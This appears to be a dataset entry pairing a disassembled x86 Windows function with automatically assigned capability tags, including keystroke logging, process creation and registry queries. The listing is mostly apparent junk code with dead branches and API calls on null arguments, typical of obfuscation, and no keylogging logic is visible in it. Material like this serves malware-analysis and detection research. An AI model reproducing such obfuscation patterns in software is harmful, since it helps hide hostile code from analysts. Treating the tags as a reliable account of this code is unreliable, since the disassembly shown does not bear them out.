Function at 0x1004f4ee
Capabilities:
Create process on windows
Get disk information
Get system information on windows
Log keystrokes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007685f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1004f69c
mov dword [ebp - 0x30], 0x5d6c05ba
mov byte [ebp - 0x1d], 0
movzx eax, byte [ebp - 0x1d]
test eax, eax
je 0x1004f53d
push 1
push 0x257d
push 0x19e6
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 0x30], 0xfffffff2
jmp 0x1004f54d
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffe5
jg 0x1004f58f
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x40], 0
jmp 0x1004f56a
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffe4
jne 0x1004f58d
mov byte [ebp - 0x19], 0
movzx eax, byte [ebp - 0x19]
test eax, eax
je 0x1004f58b
push 0x163e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
jmp 0x1004f563
jmp 0x1004f546
mov dword [ebp - 0x38], 1
mov byte [ebp - 0x1b], 0
movzx eax, byte [ebp - 0x1b]
test eax, eax
je 0x1004f5aa
push 0
call dword [sym.imp.USER32.dll_CharNextW]
mov dword [ebp - 0x38], 0
jmp 0x1004f5ba
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffea
jl 0x1004f67d
mov dword [ebp - 0x2c], 0
jmp 0x1004f5d4
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1004f5ea
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc4], 0xfffffffc
jmp 0x1004f5cd
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xc4], 0xffffffe9
jmp 0x1004f615
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc4]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xc4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc4], 0xfffffffe
je 0x1004f678
mov dword [ebp - 0x34], 0xf845d811
mov dword [ebp - 0x34], 0xfffffff2
jmp 0x1004f63b
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x1d
je 0x1004f676
mov dword [ebp - 0xb4], 0x938dd44a
cmp dword [ebp - 0xb4], 0
je 0x1004f656
jmp 0x1004f676
mov byte [ebp - 0x1a], 0
movzx eax, byte [ebp - 0x1a]
test eax, eax
je 0x1004f674
push 0xd2c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
jmp 0x1004f634
jmp 0x1004f5fc
jmp 0x1004f5b3
push 0x2277
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x1004fb48
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x28], 0x3e38
mov dword [ebp - 0xd8], 0xdcef989b
mov dword [ebp - 0xe4], 1
push 2
lea ecx, [ebp - 0x11c]
call fcn.1001737c
and dword [ebp - 4], 0
mov dword [ebp - 0xec], 0xfffffff9
mov dword [ebp - 0xd0], 0xae28de63
push 3
lea ecx, [ebp - 0x10c]
call fcn.1001737c
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], 0
jmp 0x1004f70d
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1004f729
push dword [ebp - 0x14]
lea ecx, [ebp - 0x11c]
call fcn.1001740a
mov dword [eax], 0xaced
jmp 0x1004f706
mov dword [ebp - 0x14], 0
jmp 0x1004f739
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1004f755
push dword [ebp - 0x14]
lea ecx, [ebp - 0x10c]
call fcn.1001740a
mov dword [eax], 0xfffffff8
jmp 0x1004f732
cmp dword [ebp - 0x3c], 0
je 0x1004f770
cmp dword [ebp - 0x3c], 0xdd8d1303
ja 0x1004f770
mov dword [ebp - 0x8c], 1
jmp 0x1004f777
and dword [ebp - 0x8c], 0
cmp dword [ebp - 0x3c], 0
je 0x1004f78f
mov eax, 0xa298
test eax, eax
je 0x1004f78f
mov dword [ebp - 0x68], 1
jmp 0x1004f793
and dword [ebp - 0x68], 0
mov eax, 0x9236
sub eax, dword [ebp - 0x68]
cmp dword [ebp - 0x8c], eax
je 0x1004f7ac
mov dword [ebp - 0x54], 1
jmp 0x1004f7b0
and dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x28]
je 0x1004f881
mov dword [ebp - 0x100], 0xffffffff
mov dword [ebp - 0xc8], 1
mov dword [ebp - 0xf0], 0xd8c53784
mov dword [ebp - 0xe0], 0x220c4365
mov dword [ebp - 0x110], 0x3fc0233f
mov dword [ebp - 0xe8], 0x80d1c1d6
mov dword [ebp - 0xcc], 0xd0a3205f
push 3
lea ecx, [ebp - 0xfc]
call fcn.1001737c
mov byte [ebp - 4], 2
mov dword [ebp - 0x74], 0x319b885b
mov dword [ebp - 0x10], 0
jmp 0x1004f82a
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x1004f840
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd4], 0xffffffff
jmp 0x1004f823
mov dword [ebp - 0x10], 0
jmp 0x1004f850
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1004f869
push dword [ebp - 0x10]
lea ecx, [ebp - 0xfc]
call fcn.1001740a
or dword [eax], 0xffffffff
jmp 0x1004f849
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xfc]
call fcn.10017405
jmp 0x1004f8d2
mov dword [ebp - 0xa4], 0xfffffffc
mov byte [ebp - 0x1e], 0
movzx eax, byte [ebp - 0x1e]
test eax, eax
je 0x1004f89d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x28], 0xfffffff6
jmp 0x1004f8ad
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffe6
je 0x1004f8d2
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xa4], eax
mov byte [ebp - 0x1c], 0
movzx eax, byte [ebp - 0x1c]
test eax, eax
je 0x1004f8d0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
jmp 0x1004f8a6
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10c]
call fcn.10017405
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11c]
call fcn.10017405
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
movzx eax, byte [eax]
test eax, eax
je 0x1004f91b
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x18], 0x68108531
mov dword [ebp - 0x24], 0xc8210466
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0xa8], 9
mov dword [ebp - 0xb0], 0xf8ba7967
mov dword [ebp - 0xdc], 1
mov dword [ebp - 0x44], 0
jmp 0x1004f95e
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x1004f974
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x94], 0xfffffffc
jmp 0x1004f957
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
je 0x1004f988
mov dword [ebp - 0x98], 1
jmp 0x1004f98f
and dword [ebp - 0x98], 0
cmp dword [ebp - 0x24], 0
jl 0x1004f99e
mov dword [ebp - 0x5c], 1
jmp 0x1004f9a2
and dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x5c], eax
jne 0x1004f9b6
mov dword [ebp - 0x84], 1
jmp 0x1004f9bd
and dword [ebp - 0x84], 0
cmp dword [ebp - 0x84], 0x6aed
je 0x1004f9d5
cmp dword [ebp - 0x18], 0
jne 0x1004f9d5
and dword [ebp - 0x64], 0
jmp 0x1004f9dc
mov dword [ebp - 0x64], 1
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x24]
jle 0x1004f9f1
mov dword [ebp - 0x7c], 1
jmp 0x1004f9f5
and dword [ebp - 0x7c], 0
cmp dword [ebp - 0x7c], 0x38ca
jl 0x1004fa07
mov dword [ebp - 0x6c], 1
jmp 0x1004fa0b
and dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x6c], eax
je 0x1004fa1f
mov dword [ebp - 0xac], 1
jmp 0x1004fa26
and dword [ebp - 0xac], 0
cmp dword [ebp - 0x18], 0
je 0x1004fa3d
or eax, 0xffffffff
je 0x1004fa3d
mov dword [ebp - 0x9c], 1
jmp 0x1004fa44
and dword [ebp - 0x9c], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x1004fa56
cmp dword [ebp - 0x18], 0
jne 0x1004fa62
cmp dword [ebp - 0x24], 0
jne 0x1004fa62
and dword [ebp - 0x50], 0
jmp 0x1004fa69
mov dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x50]
sub eax, 0xc4b0
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x94]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x94]
jne 0x1004fa9a
mov dword [ebp - 0x58], 1
jmp 0x1004fa9e
and dword [ebp - 0x58], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x58], eax
jne 0x1004fab2
mov dword [ebp - 0x60], 1
jmp 0x1004fab6
and dword [ebp - 0x60], 0
cmp dword [ebp - 0x60], 0xbad
jle 0x1004fac8
mov dword [ebp - 0x48], 1
jmp 0x1004facc
and dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x5a9c4c8d
jl 0x1004fade
mov dword [ebp - 0x70], 1
jmp 0x1004fae2
and dword [ebp - 0x70], 0
cmp dword [ebp - 0x70], 0xeede0b40
jbe 0x1004faf4
mov dword [ebp - 0x78], 1
jmp 0x1004faf8
and dword [ebp - 0x78], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x94]
cmp dword [ebp - 0x78], eax
jge 0x1004fb13
mov dword [ebp - 0x80], 1
jmp 0x1004fb17
and dword [ebp - 0x80], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x94]
cmp dword [ebp - 0x80], eax
jge 0x1004fb35
mov dword [ebp - 0x88], 1
jmp 0x1004fb3c
and dword [ebp - 0x88], 0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret